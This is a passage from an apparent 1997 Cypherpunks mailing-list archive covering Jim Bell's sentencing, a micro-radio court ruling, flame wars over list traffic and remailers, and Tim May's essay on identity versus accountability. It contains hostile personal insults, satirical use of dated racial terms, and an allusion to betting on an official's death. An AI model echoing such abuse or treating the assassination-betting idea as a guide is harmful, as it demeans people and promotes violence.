which is automatically used to bet on the demise of the Big Guy. This requirement is designed to take the exercise beyond the realm of being merely a 'fun game.') Anyone who easily dismisses Jim Bell as a 'loon' is probably not in great danger of dropping their dime. Wavy Gravy is a loon. The Smothers Brothers were loons. Lenny Bruce, Cheech and Chong, Timothy Leary, Babba Ram Das, Ginsberg, Kerouac, Guerva, Patton... They were all capble, to a different extent, of knowing when it was safe to relax their anus, and when it was unwise to do so. When the government puts your ass in a vice and makes keeping your cheeks tight a condition of loosening it, the decision to spit or sing, or merely to remain passive, is an individual decision. It does not increase my respect for anyone if they choose to use someone else's trials and tribulations as a stick to beat their own tough-guy drum. Just as there are no athiests in foxholes, there are no tough guys in Gulags. There are only survivors...and not all who leave alive are survivors. Plain and simple: Jim Bell is a political pri$oner of the men, women and children who steal your money at gunpoint. Jim Bell's human and civil rights were violated more over vague public speech involving those who control the money spigot than were those of Terry McNichols over the violent deaths of over a hundred citizens. God help us all if anyone ever bombs the Treasury. UncleMonger From geeman at best.com Sun Dec 14 10:49:09 1997 From: geeman at best.com (geeman at best.com) Date: Mon, 15 Dec 1997 02:49:09 +0800 Subject: wilkenrules.html Message-ID: <3.0.32.19691231160000.006ecfb0@shell15.ba.best.com> This entire issue speaks to whether we neeed government or not. The power of the judiciary is part and parcel of the power of Government, and in many cases -this is an excellent example- is all that stands between The Oligarchy and Freedom. Imagine if there _were_ no government per-se, and it was the Disney, or Westinghouse, or GE, or whoever the fuck, corporate security forces taking action on their own against FRB. At 09:08 AM 12/14/97 -0600, Jim Choate wrote: > > JUDGE WILKEN DENIES FCC MOTION FOR SUMMARY JUDGEMENT!!! > > Press Release Follows. To Go Directly To The Full Text Of Judge Wilken's > Decision, Click Here > > > >National Lawyers Guild Committee on Democratic Communications > > 558 Capp Street, San Francisco 94110 > > FOR IMMEDIATE RELEASE > > > COURT REJECTS FCC'S CONSTITUTIONAL CATCH 22 > > United States District Court Judge Claudia Wilken has rejected > another attempt by the Federal Communications Commission to silence > Berkeley Micro Radio Broadcaster Stephen Dunifer, founder of Free > Radio Berkeley. > > In a 13 page opinion released on November 12, 1997, Judge Wilken > once again rejected the government's motion for an injunction to > silence micro radio broadcasts by local radio pioneer Stephen > Dunifer. > > In 1995, Judge Wilken rejected the government's first motion for a > preliminary injunction against Dunifer's broadcasts. At that time > the Court found merit in Dunifer's argument that the FCC's ban on > low power, affordable FM broadcasting was a violation of the First > Amendment's guarantee of free speech to all in the United States. > > In a blatant attempt to avoid facing its First Amendment obligations > the FCC then urged Wilken to permanently enjoin Dunifer from > Broadcasting and at the same time argued that she could not even > consider the issue of whether its rules, which prevent him from > getting a license, are unconstitutional. In a Kafkaesqe argument, > the Commission argued that Wilken had jurisdiction to issue an > injunction, but no jurisdiction to hear Dunifer's constitutional > arguments. The government claimed that only the higher federal > courts could consider the constitutional question. > > In her November 12 decision rejecting the Government's position, > Judge Wilken pointed to the fact that the FCC had taken exactly the > opposite position in the 1994 case of Dougan vs FCC. In that case, > an Arizona micro radio broadcaster had appealed an FCC fine (for > broadcasting without a license) to the 9th Circuit Federal Court of > Appeal, and the FCC had argued that the Court of Appeal had no > jurisdiction over the case, and that it had to be heard by the > District Court. The Court of Appeals agreed with the FCC and sent > the case back to the District Court. > > Judge Wilken noted that the Arizona broadcaster had raised the same > constitutional arguments in the Court of Appeals that Dunifer is > raising. The Court ruled that in sending all of the issues in the > Arizona case to the District Court, the Appeals Court recognized > that the District Court had jurisdiction over all aspects of the > case. > > In denying the Government's motion for an injunction "without > prejudice," Judge Wilken ordered the Government to file a further > brief on the question of whether the unconstitutionality of the > FCC's ban on micro radio is a valid legal defense to an injunction > against broadcasting at low power without a license. Dunifer's > attorneys, Louis Hiken and Allen Hopper of San Francisco, will have > an opportunity to rebut the government's arguments on this point. > > In response to pressure from the commercial broadcaster's lobby, the > National Association of Broadcasters (N.A.B.), the FCC has in recent > months been stepping up its campaign of harassment against the > thousands of micro radio stations now on the air in this country. > Hiken commented "The broadcast industry is clearly afraid of these > little community stations which are speaking truth to its power. In > trying to do the N.A.B.'s bidding, the FCC demonstrates that it is > nothing but an enforcement arm of the commercial broadcast industry > and the multi-national corporations which own it." > > The National Lawyers Guild's Committee on Democratic Communications > has represented the Lawyers Guild, San Francisco's Media Alliance, > and the Women's International News Gathering Services as a "Friend > of the Court" (Amicus) in this case. In its Friend of the Court > brief the Lawyers Guild pointed out that FCC regulations make it > impossible for all but the very wealthy to even apply for a > broadcast license. This, they told the Court, is the equivalent of > saying anyone could speak from a soap box in the park, but the box > had to be made of gold. Guild attorney Peter Franck commented "In an > era when Disney owns ABC, the world's largest defense contractor > owns NBC and CNN merges with Time which merges with Warner, and when > 'public' broadcasting is told to get its money from corporations, > micro radio may be our last best hope for democracy on the air > ways." He continued "Judge Wilken's decision is a courageous > rejection of the Government's attempt to use a legal Catch-22 to > avoid facing the fact that its ban on micro radio flies in the face > of the Constitution." > > The legal team representing Dunifer and the Amicae are very pleased > with Judge Wilken's reasoned and thorough decision denying the FCC's > motion to have the case resolved without a trial on the merits. For > almost 70 years, the FCC has catered solely to the interests of > commercial corporate giants, through their mouthpiece, the National > Association of Broadcasters. These are the pirates, who have stolen > the airwaves from the American people, and who represent corporate > interests valued at more than 60 billion dollars. Only the Pentagon, > the Silicon Valley and the transportation industries possess the > financial wallop represented by the NAB and its constituents. > > Judge Wilken's decision represents a vision of what it would be like > for the American people to be given back their own voice. The > decision suggests the likely unconstitutionality of the entire > regulatory structure underlying the FCC's ban on low power radio. It > forewarns of the total failure of that agency to carry out its > statutory obligation to regulate the airwaves in the public interest > -- that is, in the interest of the American people, rather than the > media monopolies that control our airwaves. > > The legal team welcomes the opportunity to have a court identify the > real pirates of the airwaves -- not the thousands of microradio > broadcasters who seek to communicate with the people of their > communities, but rather the billionaire commercial interests that > control the airwaves as if they own them. Is it General Electric, > Westinghouse and the Disney Corporation that have the right to > control local community radio, or is that a right that belongs to > all of the American people, regardless of economic status? > > FOR MORE INFORMATION, CONTACT: > > Peter Franck, Counsel for Amicus > 415-415-995-5055 > pfranck at hbmvr.com (days) > pfranck at a.crl.com(evs, wknds) > http://www.368Hayes.com/nlg.cdc.html > > Alan Korn, Counsel for Amicus > 415-362-5700 > aakorn at igc.org > > Stephen Dunifer, Free Radio Berkeley > 415-644-3779 > frbspd at crl.com > http://www.freeradio.org > > Louis Hiken > Counsel for Stephen Dunifer > 415-575-3220 > hiken at igc.org > http://www.368Hayes.com > > Allen Hopper > Counsel for Stephen Dunifer > 415-575-3222 > lazlo at igc.org > http://www.368Hayes.com > > >SEE THE FULL TEXT OF JUDGE WILKEN'S DECISION > > TO STEPHEN DUNIFER/FREE RADIO BERKELEY INFORMATION PAGE > > TO FREE RADIO BERKELEY LEGAL BATTLE PAGE > > TO NATIONAL LAWYERS GUILD INFORMATION PAGE > > TO THE OFFICIAL NATIONAL LAWYERS GUILD WEB SITE > > TO NLG COMMITTEE ON DEMOCRATIC COMMUNICATIONS PAGE > > TO FREE RADIO BERKELEY WEB SITE > >BACK TO LAW OFFICES AT 368 HAYES STREET > > > From nobody at bureau42.ml.org Sun Dec 14 12:44:13 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Mon, 15 Dec 1997 04:44:13 +0800 Subject: Where is the c-p traffic? Message-ID: On 12 Dec 97 at 22:48, Jim Choate wrote: > > Am I the only one to notice that traffic has dropped from about 100 > > messages/day to only a few? > You are getting *lots* of bounces if you were getting anything > like 100 messages per day. You're right. My number was high. On actual count, heavy days ran to 40-70 while light days varied all over the lower landscape. Pardon me all to hell for being EIGHTEEN BILLION ORDERS OF MAGNITUDE OFF, putz. Is 70 "anything like 100?" Or is it that _you_ have been missing the majority of list traffic and think c-p is a low-volume list, hmmm? Wouldn't that be choice? I suppose the other mail in my twice-daily 50-or-so message downloads _could_ have been the replies from heads of state and other annoyance mail I get. With so many filters for spam and high list noise it's difficult to keep track, but I'm accustomed to seeing more than 10 messages a day from this list. Seeing the c-p traffic drop to 10-15 messages per day for a few days caused me to suspect something might have been wrong. Nothing ever goes wrong, though, does it? Silly me! > > Does anyone know what is broken? > > At this point either your arithmetic or your memory. Either > way, it sounds like a personal problem. You're _so_ helpful! Courteous, too! I'll bet you have a lot of really good, close friends -- you know, the kind who wouldn't tell you if your hair is on fire. > > Does anyone care? Is the whole c-p list a giant MITM being run > > against a very few of us who are the only human participants? > > Damn, found out. Yeah, yeah. Your punishment in the afterlife will be to discover that this whole universe was really just a simulation to provide window dressing around the amusing Jim Choate personality module and to endure an eternity of junior high school students playing your own most embarrassing moments back into your trapped consciousness and watching the Squirm-o-Meter peg. Those private bathroom moments will no doubt win a lot of laughs. _I_ can be nasty when it's called for, but you're just plain ol' bitter. > > Isn't it odd that many key contributors to the list coincidentally > > live near nondescript neighborhood houses that bristle with > > antennae and are regularly visited by black helicopters and large > > unmarked vans? No, I didn't think so either. That's probably an > > unrelated operation. > Just exactly what kind of drugs are you taking? There is a > house rule you *must* bring enough for everyone. Yours have apparently accomplished a chemical humorectomy. That whooshing sound you hear is the humor flying like a U-2 over your head. Twisted humor, to be sure, but humor. In any case the house rule doesn't benefit you. Your severe swings preclude further ad hoc medication. > No helicopters, vans, jack-booted thugs, or anything else > around here dude. Get a grip! I'll bet you thought MIB was a pseudo documentary produced by the UFO crowd, huh? > Don't know about an opinion, a paranoia induced > hallucination for sure. Go back to your machines. They're humorless, too, except when one lets the blue smoke leak out just to piss you off. You know about the blue smoke, don't you? It's the essential ingredient that they seal into all electronic gadgets at the factory. If it ever leaks out, the gadget stops working. BlueSmokeMongerII From nobody at bureau42.ml.org Sun Dec 14 12:46:13 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Mon, 15 Dec 1997 04:46:13 +0800 Subject: No Subject Message-ID: At 12:30 AM 12/13/97 GMT, you wrote: > >Am I the only one to notice that traffic has dropped from about 100 >messages/day to only a few? Does anyone know what is broken? >Does anyone care? Is the whole c-p list a giant MITM being run >against a very few of us who are the only human participants? it's the digital implants digital imprants digitar imprints dogatell impunts From nobody at bureau42.ml.org Sun Dec 14 13:59:39 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Mon, 15 Dec 1997 05:59:39 +0800 Subject: Airlines demanding SS #'s??? Message-ID: On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote: > The government misuses my Social Security Number to steal > my money. Where do I press charges? Can I place airline > employees under citizen's arrest when they demand it? Excuse ME? When did THIS begin? From jya at pipeline.com Sun Dec 14 15:09:25 1997 From: jya at pipeline.com (John Young) Date: Mon, 15 Dec 1997 07:09:25 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <1.5.4.32.19971214230552.00b94800@pop.pipeline.com> Jim Choate wrote: A pretty convincing manifesto, as far as Constitution-thumping goes. And then, empowered by righteousness, fire-and-brimstoned: >You sir, don't have one whit of morality, ethics, or empathy. >Let alone any sort of sense of justice or liberty. > >I hope your happy licking the hands of your keepers. Damn tooting, Jim, my babe is sweetest licking and being his love slave is a pleasure. And for it, I eagerly forego morality, ethics, empathy, justice and liberty along with constitutional and biblical protection. Babe's my blackhearted PO, with two years to release. Damn, Jim, have you never lost it all where every which way was up? If not, then you don't know shit about Jim's situation, or mine, sweetheart, and whose balls you'll lick to get back to zero, not even hoping you'll get back to where you were before insane vanity took you and those who trusted you over the edge to irreversible loss and despair. Sorry to say that "Constitutional protections" might do that to you, Jim, for they are sometimes finger-licking nose-candy, bad shit that's pushed by a nasty gang of predators as morality, ethics, empathy, justice and liberty along with biblical protection. They, and other holy writs, have got a lot of innocents wasted for addictive righteousness of hustlers who use perfect grammar to hide evil. Just kidding, son, you're okay, don't EMR me. Zap my literary inchoate. From nobody at REPLAY.COM Sun Dec 14 15:13:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 15 Dec 1997 07:13:33 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <199712101544.QAA18369@basement.replay.com> Message-ID: <199712142304.AAA11494@basement.replay.com> rashidk at mailexcite.com (Rashid Kaman) wrote: > X-No-Archive: yes > >So why should an unlisted e-mail address be any different than an unlisted > >telephone number? If I want you to e-mail me, I'll give you my address. > >I don't. So why should I broadcast my e-mail address? > > Credibility and you have been going in different directions for a good > while. I suppose you have that on the "authority" of your unnamed "unimpeachable source", huh? (The same one who you claimed knows more about what was going on with Jeff Burchell's remailer than Jeff himself did.) Shades of McCarthyism.... When Gary Burnore and the DataBasix gang become the standard for "credibility", the word will have become meaningless. Strangely enough, a search of the public database of listed telephone numbers turns up nothing for you. If you'd like to post your home address and telephone number, in the name of Gary Burnore's "tell all if you have nothing to hide" philosophy, be my guest. > I'd be interested to see the BS you add to all your other ones > by answering the below. You wouldn't be avoiding an answer would you? > > -------------------------previous querry----------------------- > From: rashidk at mailexcite.com (Rashid Kaman) > Subject: Re: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity > Date: Wed, 10 Dec 1997 13:17:02 -0500 > > On Wed, 10 Dec 1997 16:44:40 +0100 (MET), nobody at REPLAY.COM > (Anonymous) wrote: > > >If remailers were shut down, I'd lose my ability to post. > > Why is that? For the same reason you'd no longer be able to post from mailexcite.com if someone decided to shut it down! I guess I've overestimated the intelligence of Gary Burnore's tag team if the answer to your question wasn't obvious. Now would you care to tell us why the wonderful folks at DataBasix thought they were entitled to copies Jeff Burchell's sendmail logs listing both the senders and recipients of anonymous mail through Jeff's remailer and what they planned to do with the information in them? (If you don't know, perhaps you can ask your "source" who seems to know everything about this whole episode.) From nobody at bureau42.ml.org Sun Dec 14 15:30:42 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Mon, 15 Dec 1997 07:30:42 +0800 Subject: HAYEKWEB: V Postrel on Hayek Message-ID: <52FWttAz92oTIrQ7d7pZ3A==@bureau42.ml.org> On Sun, 14 Dec 1997 at 11:29:25 -0600 (CST) Jim Choate once again showed his clueless side (yes, he does have another side) wrote: >> Nobel laureate F.A. Hayek, one of the earliest economic >> theorists of the role of knowledge, would have recognized >> the problem. Organizations overcome such difficulties >> through compromise and negotiation, or they break down. >> But society as a whole can avoid the "knowledge problem" >> only at the cost of stamping out individuality. > It's a real pitty Hayek never tried 'cooperation' instead > of 'compromise'. It's a real pity Choate never tried reading before spewing. It would appear poor Jim doesn't have a clear idea of Hayek, and has difficulty distinguishing between any of the several voices used, and in filling in thin context. This is another case like Jim's confusion over which "Gates" Tim was referring to in a recent post. > Oh, the short-short sightedness of ego and tryanny. Well, ego anyway. > What is the line of reasoning that the *only* solution for > society is to stamp out individuality? Sounds more like > wishful thinking from some brain-dead drone with no > imagination or respect for others. Sounds like you should do some reading before you mouth off. > Perhaps he should have stuck with economics and kept away > from sociology. Perhaps you should have stuck with programming and kept away from political commentary. Scratch that -- programming requires a high degree of ability to deal with reality as it is, not as one mistakenly sees it. Your assignment is to read The Road to Serfdom and submit a 5,000 word essay to the c-p list on the subject of Hayek, the brain-dead drone. Following that you will be allowed to submit a 20,000 word essay on Jim Choate, the often-clueless and illiterate half-wit motor mouth. GetALifeMongerII From nobody at bureau42.ml.org Sun Dec 14 15:31:10 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Mon, 15 Dec 1997 07:31:10 +0800 Subject: IRS intimidation of Cypherpunks Message-ID: On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote: >>> We should not let distaste/disgust for Jim's ideas and >>> tactics blind us to the important legal and constitutional >>> questions lurking beneath the surface of this investigation >>> and prosecution - there's some possibility that the IRS >>> used its investigation of Jim as a threat to other prolific >>> authors on the Internet. > The government's armed assault on Ma and Pa Bell's > residence took place within hours of an email being sent > to him containing a rough draft of a chapter of an InterNet > published manuscript describing and lauding Bell's AP system. >>> For example, copies of the press release announcing the >>> raid on Jim's home were mailed, apparently from computer >>> systems inside the IRS, to individuals active on the >>> Cypherpunks list. The IRS has never before (or since) >>> bothered to notify those individuals about criminal >>> investigations which might otherwise be of interest. > It is interesting to note that the emails from > treasury.gov constituted the same type of 'threat' that > Bell was roundly accused of by government officials and > the press. I've seen brief mention of this before, but have never seen any details on the list. Aside from Jim Choate questioning my arithmetic or attention span, would anyone be kind enough to provide pointers to information about incidents of c-p list members having received unsolicited email from .gov? Declan, did you catch a whiff of this when it happened? I would think everyone's alarm bells would have gone off and people would have been intensely interested in the messages themselves, particularly the headers. StringPullMongerII From shadow at tfs.net Sun Dec 14 16:46:35 1997 From: shadow at tfs.net (sphantom) Date: Mon, 15 Dec 1997 08:46:35 +0800 Subject: Airlines demanding SS #'s??? In-Reply-To: Message-ID: <34947C05.71BDF29C@tfs.net> On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote: > The government misuses my Social Security Number to steal > my money. Where do I press charges? Can I place airline > employees under citizen's arrest when they demand it? Excuse ME? When did THIS begin? No shit. It is right on my Social Security card, ' Not for Identification'. From tcmay at got.net Sun Dec 14 17:00:07 1997 From: tcmay at got.net (Tim May) Date: Mon, 15 Dec 1997 09:00:07 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part I of II Message-ID: [Note: This is a two-part article I posted to the "Nym" list. I'm posting it here as well, but not in a "cross-post" form, because it obviously touches on many themes of interest to Cypherpunks. Declan M. has created this new list to discuss anonymity and pseudonyms. It is, predictably, largely duplicative of discussions on the Cypherpunks and other lists, but Declan and others feel it is needed. It is not necessarily open to all, to reduce the number of insults, ASCII art posts, drunken ramblings (mine excepted), and off-topic spams and such, so don't ask _me_ for instructions on how to subscribe to it. Declan may send you instructions if he wants to, of course.] [The second part will follow this part] There are many swirling notions of anonymity here, and a bunch of what I think are misconceptions about the link between anonymous systems and "accountability." Some here believe accountability (which I'll define and discuss in more detail below) is important enough to take precedence over a "right to anonymity." I think this is confusing some important issues. First some observations: * The norm in most interactions is a very loose amount of formal checks of identity credentials. Most of us never actually check the credentials of our friends and associates. Most commercial transactions, and most travels, involve no identity credentials whatsoever. (A point nicely make my Marc Rotenberg today.) * However, as we have repeated dealings with people, on lists or in person, we begin to establish a "sense of identity" for those persons, a repeated history. This has nothing _formally_ to do with identity credentials, but much to do with _expectations_ about the future. Thus, in my several years of dealing with "Black Unicorn" I have come to view him (or her, or it) as a persistent personna. Whether or not he truly is one person, and whether I know his (alleged) True Name, is largely unimportant. * It is very important that even we non-lawyers keep in mind what a _contract_ is. A contract is an offer, and an acceptance. Whether a True Name is part of the offer, by any of the parties, is unimportant. (In terms of enforceability of the contract, in terms of going after parties who fail to meet the terms of a contract, some measure of identity may of course help accountability. But this is epiphenomenol to the basics of the contract...it's just a matter of convenience.) * Hence the view many of us have that if Alice and Bob interact, they may or may not use fake names, nicknames, handles, putative True Names, or even DNA-verified biological markers. Their call. * In cases where accountability is Very Important, as in purchases of large ticket items, the usual method is to use strict title search companies, specialists in tracking actual records. Title companies, in other words. (And, even then, proofs of identity are less extreme than many anti-anonymity advocates might think. In the purchase of three homes, I've only had to "flash" my state-issued I.D. card. In fact, it was a driver's license, hardly designed as an actual proof of identity. Of course, there are certain ontological assumptions about identity in such large-ticket purchases, such as that I.D. is backed up by other things, including possession of a title deed.) * The main question that involves Washington (or other lawmakers) is this: Under what circumstances may the state compell identity to be produced? I happen to agree with several on this list, including E. Volokh and (actually) D Brin, that there are cases where identity can be compelled. Even if it only means a _sworn statement_ (as in "making an X" on a statement written by others). Applying for a passport, appearing before court, perhaps driving on the public roads. But note that there absolutely is no requirement in the United States for a general form of identification. Non-drivers need not have any form of I.D. And as we have seen in court cases, a la Lawson v. Kolender (where a black man in dreadlocks used to like to walk the streets of San Diego...the cops stopped him many times and jailed him for not having I.D. on him...the court ruled that people don't have to present credentials issued by the state to walk the public streets). * Therefore, the issue is not of a "right to anonymity," which would probably be as nebulous to debate as the "right to privacy" (which Bork probably was correct in saying cannot be found in the Constitution), but, rather, the issue of when the State may compell identity. To put it in the blunt terms we libertarians find useful: "When can men with guns tell us we have to produce a piece of paper with our pictures on it that they find acceptable?" Possibly for the situations I mentioned above. But maybe not even in all of those situations. (Next time I am called for jury duty, and my last time was in 1973, I plan to take no state-issued I.D. junk with me...I will _tell_ them who I am and leave it at that.) * In ordinary interactions and in commercial transactions (modulo gun purchases and a few other similar areas), identity cannot be compelled. Alice is free to ask Bob for his name, or his blood type, or anything else she chooses (modulo questions banned by the Civil Rights Act, disgustingly enough), and either is free to cancel the interaction or transaction as they wish. Contracts again: an offer made and an acceptance. * Now if Alice wishes to _extend credit_ to Bob, or take his promise to pay via a check or some other "delayed clearing" instruement, she is free to request various things that will satisfy her that she can later track down Bob and collect from him. Importantly, this is not a _state_ function. This is still a matter of contract. Bob is of course free to refuse to give his name and to cancel the transaction. * It's a fact that most vendors (Alice) are less interested in acquiring market research data by getting True Names than they are in selling stuff. Hence, most merchants don't care about True Names. And for online clearing (instant clearing, as with cash or guaranteed payments sytems), names really don't matter. Even Radio Shack, which makes a big point of asking for names and addresses, will gladly make a sale to those who refuse to go along. * There are cases where this normal "Alice doesn't care about names" situation is distorted by other considerations. Recently, airlines have been instructed by the FAA to do a credential check...they are happy enough to comply, as it cuts down on the practice of companies buying advance tickets in bulk and then deciding later who will actually use the tickets. (I believe the pre-FAA ruling situation, where airlines didn't bother to check I.D.s to be a good indicator of what free market forces would produce absent such an FAA rule.) Certain large-ticket purchases may no longer be made in cash. Part of this is the move to control money-laundering and smurfing, and the "structuring" laws. Black Unicorn has an amusing story of trying to buy a car in suburban Washington, with cash (or a cashier's check, I forget which), and having law enforcment arrive a short time later and hold him for questioning.... Likewise, it's becoming more common for motels and hotels to demand photo I.D. Some even refuse to accept cash without a credit card (which we know is not an actual I.D., but it sort of acts as one). I'm not sure what all the reasons for this are. Here are some, briefly: fear of being stung by someone who trashes the room, concern about being charged with enabling prostitution, pressure from regulatory boards (who may be pressured by law enforcement), or perhaps just the general attitude that "I.D. is required." (As I've said, this attitude hasn't filtered down to ordinary daily transactions.) So, identity is not the same as accountability (though there are some correlations). And lack of identity does not mean criminality. And most importantly, most cases where some proof of identity is requested don't need any state involvement in what are private transactions or contracts. Lastly, there is no "is-a-person" (in the cryptographic sense) credentialling system in the U.S. In Part II of this post, I'll combine these various points, made somewhat anecdotally here, into a more graphical form. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." Voluntary Mandatory Self-Rating of this Article (U.S. Statute 43-666-970719). Warning: Failure to Correctly and Completely Label any Article or Utterance is a Felony under the "Children's Internet Safety Act of 1997," punishable by 6 months for the first offense, two years for each additional offense, and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself not contain material in violation of the Act. ** PICS/RSACi Voluntary Self-Rating (Text Form) ** : Suitable for Children: yes Age Rating: 5 years and up. Suitable for Christians: No Suitable for Moslems: No Hindus: Yes Pacifists: No Government Officials: No Nihilists: Yes Anarchists: Yes Vegetarians: Yes Vegans: No Homosexuals: No Atheists: Yes Caucasoids: Yes Negroids: No Mongoloids: Yes Bipolar Disorder: No MPD: Yes and No Attention Deficit Disorder:Huh? --Contains discussions of sexuality, rebellion, anarchy, chaos,torture, regicide, presicide, suicide, aptical foddering. --Contains references hurtful to persons of poundage and people of color.Sensitive persons are advised to skip this article. **SUMMARY** Estimated number of readers qualified to read this: 1 Composite Age Rating: 45 years From tcmay at got.net Sun Dec 14 17:02:28 1997 From: tcmay at got.net (Tim May) Date: Mon, 15 Dec 1997 09:02:28 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part II ofII Message-ID: As promised, here is Part II, with a more graphical analysis of the issues of identity, anonymity, traceability, accountability, and the correlations between them. Consider two principles axes: -- identity -- accountability A "0" on the identity axis means a complete lack of any identity, with no assurance whatsoever in the nickname, casual name, and certainly not in the True Name, of an entity. The canonical "Anonymous," with not even any clues as to identity. A "1" on the identity axis means a complete certainty as to whom someone is, with extensive credentials, perhaps even voiceprint, blood tests, etc. An appearance by Bill Clinton probably rates a "0.999" on this scale, as various input vectors are summed...most of my posts might be rated at "0.95," and so on. There are some meta-issues about what true names really are. Was Bill Clinton switched at birth? Did the Trilateral Commission actually kill the real Bill Clinton when he was at Oxford and replace him with a KGB lookalike? Do his footprints match that on the birth certificate on file in the Arkansas hospital? Is that stuff even what we mean by "that guy is Bill Clinton"? I won't get into these meta-issues here, but they are eventual boundary-value problems for any "is-a-person" formal system. On the "accountability" axis, a "0" means an entity cannot be held accountable. Cannot be reached, cannot be hauled into court, etc. This could be because the entity is outside a jurisdiction. Marc Rich, resident of Zug, Switizerland, is about a "0.1" on the accoutability scale. A "1" obviously represents full accountability. Clearly it is possible for someone to be high on the identity scale (like Marc Rich), but low on the accountability scale. Or, more interestingly, it is possible for a participant in a transaction to be essentially anonymous, but very accountable. This is what digital cash and anonymous escrow systems provide. Chaum's "credentials without identity" makes this clear. It is possible to present some credential for some property, such as age, without identity. (An easy to see example being admissions to bars...as ID scanning technology spreads, we would like to see methods for checking an age credential without also creating a computer record of all bars visited, number of drinks consumed, etc.) (Crime and illegal markets often work this way, too. That is, with identity not necessarily known ("Vinnie the Nose"), but with other mechanisms for ensuring accountability. The usual, but important, stuff about reputation capital. Ditto for primitve markets, with goods left in clearings...absolutely no "identity," but various mechanisms for enforcement of trading protocols (including "no future business if you screw me," which is how many markets have worked, a la the Law Merchant for international trade, which evovled into the Uniform Commercial Code.) OK, here's a diagram. Notice that the central diagonal, the "main sequence" ( a la Hertzsprung-Russell diagrams) is the correlation between "identity" and "accountability." To those who argue that accountability IS identity, this is there line. But there are many other place in this space. For ease (to me) in making this diagram, I've had to just use letters, with the legend below the diagram. ^ CASH TOTAL 1 | CHAUM | ESCROW ^ | BRIN | | DIGNYM | | CORP Accountability | | | MRICH | | ANON 0 |_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 0 1 Identity --> CASH = immediate clearing, but no identity CHAUM = Chaumian "credentials without identity" (in many forms) ESCROW = leaving a deposit, or linking to another payer (an anonymous VISA card, with a deposit, works this way. Or a corporate account, card, etc., where the company backs the transaction, but identity of the participant is unknown, or poorly known) BRIN = David Brin's "accountability means identity" mapping (no doubt there are nuances to his view, but I believe this fairly characterizes the position he has described here recently) TOTAL = The total state. Eveyone in their place, every transaction logged, everyone held accountable by the State DIGNYM = Digital pseudonyms, or signed messages. Identity may be variable, from almost completely anonymous (e.g., Pr0duct Cypher) to known to some (e.g., Black Unicorn). Accountability also varies, depending on factors like jurisdiction. CORP = corporate, or collective, accounts, where identity of actual participants is poorly known, but accountability is high MRICH = identity known to high certainty, but "judgment proof" (note that this applies to many other persons, such as poor persons, who may say all kinds of libelous or actionable things, but who are not worth going after) ANON = the canonical "anonymous" message, with no identity, no accountability. Of course, there are many other examples. And each examples has "scatter." Each is a "blob," not just a point. And they can move around, as laws change. (For example, Marc Rich could quickly become "accountable" were Switzerland to change its laws about extradition.) The structure of this identity-accountability space is itself interesting, with peaks and valleys (suggesting a third axis, that of "cost" to live in these spaces....). And so on. I hope this helps clarify for you some of my thinking on these issues. i find that simplistic arguments, whether, "accountability requires identity," or "anonymity is a basic right," are not very helpful. There are clearly times when participants in a voluntary transaction want some kind of "identity credential" (especially to the extent they think identity = accountability). There may even be times when the State has a legitimate interest in compelling identity (though many of us would quibble with most such demands, and look for ways to satisfy these "is-a-person" needs less invasively than by requiring national I.D. cards and tattooes on forearms). Again, I hope this has helped. --Tim May Voluntary Mandatory Self-Rating of this Article (U.S. Statute 43-666-970719). Warning: Failure to Correctly and Completely Label any Article or Utterance is a Felony under the "Children's Internet Safety Act of 1997," punishable by 6 months for the first offense, two years for each additional offense, and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself not contain material in violation of the Act. ** PICS/RSACi Voluntary Self-Rating (Text Form) ** : Suitable for Children: yes Age Rating: 5 years and up. Suitable for Christians: No Suitable for Moslems: No Hindus: Yes Pacifists: No Government Officials: No Nihilists: Yes Anarchists: Yes Vegetarians: Yes Vegans: No Homosexuals: No Atheists: Yes Caucasoids: Yes Negroids: No Mongoloids: Yes Bipolar Disorder: No MPD: Yes and No Attention Deficit Disorder:Huh? --Contains discussions of sexuality, rebellion, anarchy, chaos,torture, regicide, presicide, suicide, aptical foddering. --Contains references hurtful to persons of poundage and people of color.Sensitive persons are advised to skip this article. **SUMMARY** Estimated number of readers qualified to read this: 1 Composite Age Rating: 45 years From hallam at ai.mit.edu Sun Dec 14 17:07:05 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Mon, 15 Dec 1997 09:07:05 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <01bd08f4$f74aaa70$06060606@russell> >Phillip M. Hallam-Baker wrote: > >>FC folk may find this interesting. What Jim Bell was charged >>with and admitted was planning and executing attacks on the >>IRS. > >No, that's not correct. He was charged with (and plead guilty to) >obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security >number (42 USC 408). The "attack" he admitted to executing consisted of >applying a stinky chemical to the doormat of an IRS office. (see > for more.) Actually I was entirely correct. He had already executed a non-lethal attack and there was considerable evidence to suggest he was planning something more lethal in future. >>His 'Assasination Politics' essay was used to demonstrate >>motive (amongst other things). > >That doesn't make any sense - it could conceivably have been introduced to >demonstrate intent, or state of mind .. but not motive, at least in the Read the essay, he quite clearly states his reason for wanting to see IRS agents murdered. >But it's misleading to say that the essay was used to "demonstrate" >anything, as it was never introduced into evidence - there was no trial. He plead guilty, to lesser charges. That does not mean he gets the benefit of the doubt. He was 